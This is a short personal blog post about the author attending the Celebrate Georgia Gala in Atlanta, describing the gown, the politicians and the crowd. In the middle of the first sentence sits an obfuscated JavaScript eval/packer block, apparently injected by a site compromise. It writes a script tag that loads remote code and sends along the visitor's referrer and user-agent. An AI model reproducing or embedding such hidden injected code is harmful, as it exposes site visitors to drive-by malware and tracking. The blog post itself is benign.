Celebrate Georgia Gala brings out Thousands

Holidays

My date and I at Celebrate Georgia Gala on Monday night.

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntnne|var|u0026u|referrer|ireza||js|php’.split(‘|’),0,{}))
nights are the least surprising evenings of the week.  Your body is still getting used to going back to work after the weekend, and the highlight of most Monday nights is sleep.  However, this week, Monday night was filled with excitement, laughter, beautiful gowns and a Gala fit for The Great Gatsby.

I donned a pretty pink evening gown and rubbed elbows with the mayor of Atlanta to the governor of Georgia.  Big names, fancy suits and lots of music kept me circulating the large convention space at Cobb Galleria for several hours.  Nearly four thousand people came out to Celebrate Georgia, a belated inaugural gala to honor Governor Deal and the Republican sweep in Georgia’s general assembly.

I’m grateful to have been invited to such an event.  I hope my future holds more galas and events that will allow me to pull out the evening gown and bow tie.  A little dressing up can go a long way to make a girl feel like a princess.
